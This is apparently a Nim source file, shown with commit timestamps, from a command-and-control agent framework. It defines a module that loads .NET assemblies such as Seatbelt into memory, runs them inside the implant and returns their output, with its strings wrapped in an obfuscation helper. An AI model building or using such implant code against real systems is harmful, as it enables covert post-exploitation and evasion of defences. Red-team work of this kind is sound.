2025-09-13 11:47:19 +02:00
import .. / common / [ types , utils ]
# Define function prototype
proc executeAssembly ( ctx : AgentCtx , task : Task ) : TaskResult
2025-09-17 15:55:13 +02:00
# Module definition
let module * = Module (
name : protect ( " dotnet " ) ,
description : protect ( " Load and execute .NET assemblies in memory. " ) ,
2025-09-27 12:36:59 +02:00
moduleType : MODULE_DOTNET ,
2025-09-17 15:55:13 +02:00
commands : @ [
Command (
name : protect ( " dotnet " ) ,
commandType : CMD_DOTNET ,
description : protect ( " Execute a .NET assembly in memory and retrieve the output. " ) ,
example : protect ( " dotnet /path/to/Seatbelt.exe antivirus " ) ,
arguments : @ [
Argument ( name : protect ( " path " ) , description : protect ( " Path to the .NET assembly file to execute. " ) , argumentType : BINARY , isRequired : true ) ,
Argument ( name : protect ( " arguments " ) , description : protect ( " Arguments to be passed to the assembly. Arguments are handled as STRING " ) , argumentType : STRING , isRequired : false )
] ,
execute : executeAssembly
)
]
)
2025-09-13 11:47:19 +02:00
# Implement execution functions
2025-09-27 12:36:59 +02:00
when not defined ( agent ) :
2025-09-13 11:47:19 +02:00
proc executeAssembly ( ctx : AgentCtx , task : Task ) : TaskResult = nil
when defined ( agent ) :
import strutils , strformat
2025-10-20 22:08:06 +02:00
import .. / agent / core / [ clr , io ]
2025-09-13 11:47:19 +02:00
import .. / agent / protocol / result
import .. / common / [ utils , serialize ]
proc executeAssembly ( ctx : AgentCtx , task : Task ) : TaskResult =
try :
var
assembly : seq [ byte ]
arguments : seq [ string ]
# Parse arguments
case int ( task . argCount ) :
of 1 : # Only the assembly has been passed as an argument
assembly = task . args [ 0 ] . data
arguments = @ [ ]
else : # Parameters were passed to the BOF execution
assembly = task . args [ 0 ] . data
for arg in task . args [ 1 .. ^ 1 ] :
arguments . add ( Bytes . toString ( arg . data ) )
# Unpacking assembly file, since it contains the file name too.
var unpacker = Unpacker . init ( Bytes . toString ( assembly ) )
let
fileName = unpacker . getDataWithLengthPrefix ( )
assemblyBytes = unpacker . getDataWithLengthPrefix ( )
2025-10-20 22:08:06 +02:00
print fmt" [>] Executing .NET assembly {fileName}. "
2025-09-13 11:47:19 +02:00
let ( assemblyInfo , output ) = dotnetInlineExecuteGetOutput ( string . toBytes ( assemblyBytes ) , arguments )
if output ! = " " :
return createTaskResult ( task , STATUS_COMPLETED , RESULT_STRING , string . toBytes ( assemblyInfo & " \n " & output ) )
else :
return createTaskResult ( task , STATUS_FAILED , RESULT_NO_OUTPUT , @ [ ] )
except CatchableError as err :
return createTaskResult ( task , STATUS_FAILED , RESULT_STRING , string . toBytes ( err . msg ) )